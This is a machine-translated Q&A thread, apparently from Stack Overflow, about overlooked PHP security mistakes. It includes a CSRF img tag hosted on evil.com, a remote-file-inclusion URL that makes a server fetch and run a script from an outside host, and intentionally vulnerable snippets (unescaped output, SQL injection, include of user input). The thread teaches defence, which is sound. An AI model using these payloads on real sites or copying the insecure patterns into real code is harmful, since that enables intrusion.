Распространенные неизвестные ошибки безопасности PHP

Question

Я знаю, что подобные вопросы задавались сто раз, но мой немного другой.

Я знаю обо всех распространенных и широко известных проблемах безопасности, таких как SQL-инъекция, XSS и т. Д. Но как насчет проблем, которые часто появляются, но в большинстве случаев не распознаются или не рассматриваются как уязвимости? Есть ли?

Answer 1

Одна вещь, которую я часто видел, развивалась как функция и не рассматривалась как дыра в безопасности, пока не стало слишком поздно, это запросы GET с изменением состояния. Это может легко привести к подделке межсайтовых запросов . Например, ваше приложение может иметь ссылку на http://mysite.com/logout, которая выводит пользователей из системы. Но сторонний сайт может добавить код, подобный этому:

<!-- on evil.com site -->
<img src="http://mysite.com/logout">

Затем, когда пользователи загружают страницу на evil.com, они выходят из mysite.com!

Наихудшие проблемы возникают, когда сайты реализуют API, используя изменяемые состояния GET-запросы. Например, если я запустил сайт социальной сети с URL-адресами, такими как site.com/addfriend, site.com/sendmessage и т. Д., И я раздал эти URL-адреса разработчикам, которые собирались создавать приложения для моего сайта, разработчикам пришлось бы иметь дело с изменением API при обнаружении уязвимости безопасности.

Answer 2

1. Использование $_REQUEST вместо $_GET или $_POST, что является плохой идеей, поскольку $_REQUEST также содержит файлы cookie и открывает дверь для Переменной фиксации

2. Не совсем зависит от PHP, применяется ко всем интерпретируемым языкам: видимость каталогов .svn / .CVS

Answer 3

Вот несколько работ, над которыми я работал:

• Хранение паролей в виде открытого текста в БД
  • Если ваш сайт взломан, хакеры имеют доступ ко всем паролям и электронным письмам ваших пользователей. Подумайте, сколько пользователей имеют одинаковый пароль для своей электронной почты и вашего сайта.
• Хранение писем в той же таблице, что и ваши пользователи
  • Если атака с использованием SQL-инъекции дает хакеру доступ к вашей пользовательской таблице, одним из немногих ценных элементов информации является адрес электронной почты. Храните его в отдельной таблице, чтобы сделать его более трудным для хакера.
  • Если вы не собираетесь отправлять электронные письма пользователю, сохраняйте только хэш его электронной почты: хакер, получивший доступ к электронной почте пользователя, может продать его спамерам.
• Даже если у вас есть сайт, защищенный паролем, посчитайте, насколько надежным является пароль. У меня был друг, чей сайт использовал простой 5-значный номер для паролей. Я взломал его около часа.
• Если вы отправляете сообщения, которые имеют значение (т. Е. Вы выполняете операцию, которая использует значительное количество ресурсов: процессор, память и т. Д.), Всегда требуйте токен от пользователя с меткой времени.
  • Если хакер обнаружит, что у вас есть операция, которая обходится вам в 0,0001 долл. США каждый раз, когда ее ударили, он может использовать бот-сеть для сбора средств на ваше имя.
  • Требуется, чтобы пользователь отправлял хэш (уникальный идентификатор пользователя, временную метку и секретную соль) вместе с временной меткой в ​​виде простого текста. Отметка времени в виде простого текста позволяет вам подтвердить, что вы не дали им разрешения в прошлый вторник, отметка времени в хэше позволяет проверить, принадлежит ли сообщение с сообщением , , а идентификатор UID гарантирует, что хакер не сделал ' Вы можете запросить от кого-то другого, и секретная соль в хэше гарантирует, что они не сгенерировали ее самостоятельно.
• Если вы пишете систему плагинов для приложения, будьте осторожны с тем, что вы храните в частных переменных. Прочтите эту статью о том, как заблокировать ее .

Всего несколько идей и вещей, с которыми я имел дело. Надеюсь, это поможет!

Answer 4

Однажды я работал над кучей мусора, где были включены обработчики fopen, как это было в случае «регистрации глобалов». Включения выглядят так:

<?php
include $MY_BASE . '/includes/myLib.inc';
?>

То, что это позволило кому-либо сделать, это удаленно выполнить любой код, который он хотел. Вот: http://exploitablehost.com/?MY_BASE=http://viagra.cheeper.com/myScript.txt%3f

PHP извлечет текстовый файл по HTTP и выполнит его локально. Поскольку Apache работал от имени пользователя root ... ну, вы поняли.

Answer 5

Вот несколько распространенных ошибок, которые я видел:

1. Не экранирующие сущности

Это базовые знания; ВСЕ ненадежный ввод (особенно ввод пользователя из форм) должен быть обработан перед выводом.

echo $_GET['username'];

2. Не экранирование ввода SQL

$query = "select * fromt able where id = {$_GET['id']}";

3. Неправильно запрашивать и включать файлы

include($_GET['filename']);

4. Двойные кавычки

Если magic_quotes_gpc имеет значение true, то использование addlahes добавит еще одну косую черту тем самым добавляя две косые черты всего.

Answer 6

Отсутствие процедур для защиты от атак социальной инженерии? Например, злоумышленник звонит в офис и выдает себя за кого-то с целью получения паролей.

Плохая политика создания, распространения и защиты паролей.

Взлом учетной записи FTP может привести к загрузке вредоносного кода на ваш сайт.

Слабые / уязвимые сторонние хостинговые серверы могут привести к сбою вашего сайта независимо от того, сколько времени вы потратили на его защиту.

Answer 7

Многие посты не относятся к PHP. Я уверен, что есть некоторые языковые ловушки, но, как вы видите в постах, очень важно внедрять лучшие практики в области безопасности (такие как фильтрация пользовательских данных). Хорошее начало для безопасных веб-приложений - OWASP . И быть по теме: Проблемы безопасности в PHP на OWASP .

Приветствия

Answer 8

PHP существует уже более 10 лет, и он сильно повзрослел.

Остерегайтесь слабых настроек по умолчанию в php.ini.